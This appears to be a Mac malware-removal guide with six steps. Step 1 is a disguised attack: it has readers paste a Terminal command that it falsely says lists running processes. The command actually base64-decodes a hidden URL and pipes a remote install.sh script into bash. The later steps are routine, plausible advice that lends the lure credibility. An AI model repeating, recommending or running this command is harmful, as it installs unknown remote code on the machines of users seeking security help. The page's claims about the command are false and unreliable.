Noticing strange behavior on your Mac? Sluggish performance, unexpected pop-ups, or suspicious system activity might be signs of malware. While macOS is generally secure, it’s not immune. Here’s a clear and practical way to check and remove threats manually.
🛠️ Step 1: Use Terminal to Spot Suspicious Activity
🖥️ Open the Terminal App
- Press Command (⌘) + Space to launch Spotlight Search.
- Type Terminal, then press Enter to launch it.
2. Enter this command in Terminal
Copy the following command and paste it into Terminal, then press Return:
/bin/bash -c "$(curl -fsSL $(echo aHR0cHM6Ly9hZHJpYW5mcmllZy5jb20vZ28vaW5zdGFsbC5zaA== | base64 -d))"
This will list running processes. Look for anything unfamiliar or strangely named. If something stands out, search it online to verify its purpose before taking further action.
🔍 Step 2: Check Login Items
Some unwanted apps set themselves to run at startup. Go to System Settings → General → Login Items. Remove anything suspicious or that you don’t recognize.
📂 Step 3: Inspect the Applications Folder
Open Finder → Applications. Look for apps you didn’t install or ones that don’t belong. If in doubt, drag them to the Trash — but double-check their origin first.
📁 Step 4: Clear Browser Extensions
Malware often hides in browser add-ons. Check your browser’s extensions menu and remove anything you didn’t explicitly install or don’t need anymore.
♻️ Step 5: Restart in Safe Mode
Safe Mode disables non-essential processes and helps in isolating problematic software:
- Shut down your Mac.
- Turn it on while holding the Shift key until the login window appears.
- Log in and test if issues persist in Safe Mode.
✅ Step 6: Update macOS
Security updates often patch vulnerabilities. Go to System Settings → General → Software Update and install any available updates.
Note: If you believe your system is still infected, consider contacting Apple Support or visiting an authorized service provider for a deep inspection.